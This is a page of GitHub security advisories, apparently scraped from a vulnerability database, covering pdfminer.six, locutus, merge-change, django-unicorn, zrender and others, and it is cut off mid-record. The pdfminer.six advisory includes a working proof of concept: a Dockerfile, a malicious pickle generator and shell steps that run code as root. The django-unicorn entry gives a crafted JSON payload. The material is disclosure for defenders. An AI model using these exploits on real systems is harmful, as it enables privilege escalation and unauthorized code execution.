Vulnerability-Lookup

GHSA-F83H-GHPP-7WCC

Vulnerability from github – Published: 2025-11-07 23:17 – Updated: 2026-02-04 16:49

Summary

Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc

Details

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

line

🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue: If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.

🐍 Vulnerability Description

Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service.
Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

line

🎭 Demo Scenario

Environment: - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - user1 (attacker: low-privilege) - root (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: /tmp/uploads - 🛣️ CMAP_PATH set to /tmp/uploads for the privileged script - 📦 pdfminer.six installed system-wide

Attack Flow: 1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads. 2. 👑 The privileged service (root) processes a PDF or calls get_cmap("Evil"). 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

line

🧨 Technical Details

Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
Vulnerable Line: python return type(str(name), (), pickle.loads(gzfile.read())) In pdfminer/cmapdb.py's _load_data method
https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain: - Attacker places a malicious .pickle.gz file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account).

line

🔧 Setup and Usage

📁 Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

line

1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

proof-of-exploit

line

📝 Step-by-step Walkthrough

user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
The root user runs a typical PDF-processing script, which loads CMap files from that directory.
The exploit triggers, running arbitrary code as root.
The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

line

🛡️ Security Standards & References

CVSS (Common Vulnerability Scoring System):
Base Score: 7.8 (High)
Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Top 10:
A08:2021 - Software and Data Integrity Failures
A03:2021 - Injection (by analogy, as it's code injection via deserialization)
MITRE CWE References:
CWE-502: Deserialization of Untrusted Data
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
MITRE ATT&CK Techniques:
T1055: Process Injection
T1548: Abuse Elevation Control Mechanism

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pdfminer.six"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20251230"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-70559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T23:17:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### \ud83d\ude80 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python\u0027s `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udea8 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## \ud83d\udcda Table of Contents\n\n- [\ud83d\udd0d Background](#-background)\n- [\ud83d\udc0d Vulnerability Description](#-vulnerability-description)\n- [\ud83c\udfad Demo Scenario](#-demo-scenario)\n- [\ud83e\udde8 Technical Details](#-technical-details)\n- [\ud83d\udd27 Setup and Usage](#-setup-and-usage)\n- [\ud83d\udcdd Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [\ud83d\udee1\ufe0f Security Standards \u0026 References](#-security-standards--references)\n---\n\n## \ud83d\udd0d Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python\u0027s `pickle` module.\n\n\u003e \ud83d\udc0d **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### \ud83d\udc0d Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python\u2019s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer\u2014potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### \ud83c\udfad Demo Scenario\n\n**Environment:**\n- \ud83d\udc27 Alpine Linux (Docker container)\n- \ud83d\udc68\u200d\ud83d\udcbb Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- \ud83d\uddc2\ufe0f Shared writable directory: `/tmp/uploads`\n- \ud83d\udee3\ufe0f `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- \ud83d\udce6 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. \ud83d\udd75\ufe0f\u200d\u2642\ufe0f `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. \ud83d\udc51 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. \ud83d\udca3 The malicious pickle is deserialized, running arbitrary code as root.\n4. \ud83c\udfaf The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### \ud83e\udde8 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python\u0027s `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`\u0027s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udd27 Setup and Usage\n\n### \ud83d\udcc1 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1\ufe0f\u20e3 Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2\ufe0f\u20e3 In the container, open two shells in parallel (or switch users in one):\n\n#### \ud83d\udd75\ufe0f\u200d\u2642\ufe0f Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# \u2705 Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### \ud83d\udc51 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# \ud83c\udfaf Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3\ufe0f\u20e3 Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# \ud83c\udff4 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udcdd Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udee1\ufe0f Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it\u0027s code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)",
  "id": "GHSA-f83h-ghpp-7wcc",
  "modified": "2026-02-04T16:49:50Z",
  "published": "2025-11-07T23:17:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfminer/pdfminer.six"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure Deserialization (pickle) in pdfminer.six CMap Loader \u2014 Local Privesc"
}

GHSA-F98M-Q3HR-P5WQ

Vulnerability from github – Published: 2021-05-06 18:12 – Updated: 2021-12-14 15:33

Summary

Prototype Pollution in locutus

Details

All versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T18:44:01Z",
    "nvd_published_at": "2020-09-01T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.",
  "id": "GHSA-f98m-q3hr-p5wq",
  "modified": "2021-12-14T15:33:28Z",
  "published": "2021-05-06T18:12:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kvz/locutus/pull/418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/0eb16d8541838e80f3c2340a9ef93ded7c97290f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kvz/locutus"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-LOCUTUS-598675"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in locutus"
}

GHSA-F9CV-665R-275H

Vulnerability from github – Published: 2021-09-01 18:36 – Updated: 2021-08-30 19:27

Summary

Prototype Pollution in merge-change

Details

All current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-change"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-30T19:27:27Z",
    "nvd_published_at": "2021-08-11T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All current versions of package merge-change are vulnerable to Prototype Pollution via the utils.set function.",
  "id": "GHSA-f9cv-665r-275h",
  "modified": "2021-08-30T19:27:27Z",
  "published": "2021-09-01T18:36:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23421"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/VladimirShestakov/merge-change"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VladimirShestakov/merge-change/blob/9901f145e06158f284f52de42e6ba5b0f702fb65/utils.js#L89-L123"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MERGECHANGE-1310985"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in merge-change"
}

GHSA-FC27-9M9G-625P

Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30

Details

The frontend management plugin attributed a newly created event to the submitting user's organizer record only when the request supplied no organizer of its own. The accompanying permission check confirmed only that the submitting user held any organizer role. A user with frontend event management access could therefore create an event that is attributed to another organizer.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-77144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:35Z",
    "severity": "HIGH"
  },
  "details": "The frontend management plugin attributed a newly created event to the submitting user\u0027s organizer record only when the request supplied no organizer of its own. The accompanying permission check confirmed only that the submitting user held any organizer role. A user with frontend event management access could therefore create an event that is attributed to another organizer.",
  "id": "GHSA-fc27-9m9g-625p",
  "modified": "2026-08-25T09:30:40Z",
  "published": "2026-08-25T09:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77144"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FFCF-48J3-23JR

Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2025-02-19 18:32

Details

The recovery mode for updates has a vulnerability that causes arbitrary disk modification. Successful exploitation of this vulnerability may affect confidentiality.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-48359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The recovery mode for updates has a vulnerability that causes arbitrary disk modification. Successful exploitation of this vulnerability may affect confidentiality.",
  "id": "GHSA-ffcf-48j3-23jr",
  "modified": "2025-02-19T18:32:12Z",
  "published": "2023-03-28T00:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48359"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/3"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202303-0000001529824505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFV6-JJ46-X367

Vulnerability from github – Published: 2026-03-11 00:11 – Updated: 2026-03-11 05:45

Summary

django-unicorn affected by component state manipulation via unvalidated attribute access

Details

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in: - src/django_unicorn/views/action_parsers/call_method.py - src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

Construct a payload targeting a protected attribute: json { "actionQueue": [ { "type": "syncInput", "payload": { "name": "template_name", "value": "admin/base.html" } } ], "data": {}, "meta": "<checksum_of_empty_dict>" }
The server-side component updates its internal state: self.template_name = "admin/base.html".
Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django-unicorn"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.67.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:11:08Z",
    "nvd_published_at": "2026-03-10T22:16:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nComponent state manipulation is possible in `django-unicorn` due to missing access control checks during property updates and method calls. An attacker can bypass the intended `_is_public` protection to modify internal attributes such as `template_name` or trigger protected methods.\n\n## Vulnerability Details: Component Access Control Bypass\nSecurity analysis identified that the framework fails to enforce visibility boundaries defined by `_is_public` within the action parsers. Specifically, the logic in `set_property_value()` and `_call_method_name()` utilizes `getattr` and `setattr` directly on component instances without verifying if the target attribute or method is explicitly marked as public.\n\nVulnerability resides in:\n- `src/django_unicorn/views/action_parsers/call_method.py`\n- `src/django_unicorn/views/action_parsers/utils.py`\n\nWhile Django\u0027s template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal `reset()` method.\n\n## Proof of Concept (PoC)\nAttacker can overwrite the `template_name` attribute by sending a crafted JSON payload to the message endpoint:\n\n1. Construct a payload targeting a protected attribute:\n   ```json\n   {\n     \"actionQueue\": [\n       {\n         \"type\": \"syncInput\",\n         \"payload\": { \"name\": \"template_name\", \"value\": \"admin/base.html\" }\n       }\n     ],\n     \"data\": {},\n     \"meta\": \"\u003cchecksum_of_empty_dict\u003e\"\n   }\n   ```\n2. The server-side component updates its internal state: `self.template_name = \"admin/base.html\"`.\n3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.\n\n## Impact\nLow severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application\u0027s configured template directories. Remote Code Execution (RCE) is not possible via this vector.",
  "id": "GHSA-ffv6-jj46-x367",
  "modified": "2026-03-11T05:45:51Z",
  "published": "2026-03-11T00:11:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/django-commons/django-unicorn/security/advisories/GHSA-ffv6-jj46-x367"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django-commons/django-unicorn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "django-unicorn affected by component state manipulation via unvalidated attribute access"
}

GHSA-FHV8-FX5F-7FXF

Vulnerability from github – Published: 2021-09-20 19:53 – Updated: 2024-12-06 18:20

Summary

Prototype Pollution in the merge and clone helper methods

Details

Impact

Using merge and clone helper methods in the src/core/util.ts module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.

Patches

It has been patched in https://github.com/ecomfe/zrender/pull/826. Users should update zrender to 5.2.1. and update echarts to 5.2.1 if project is using echarts.

References

NA

For more information

NA

Severity

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "zrender"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
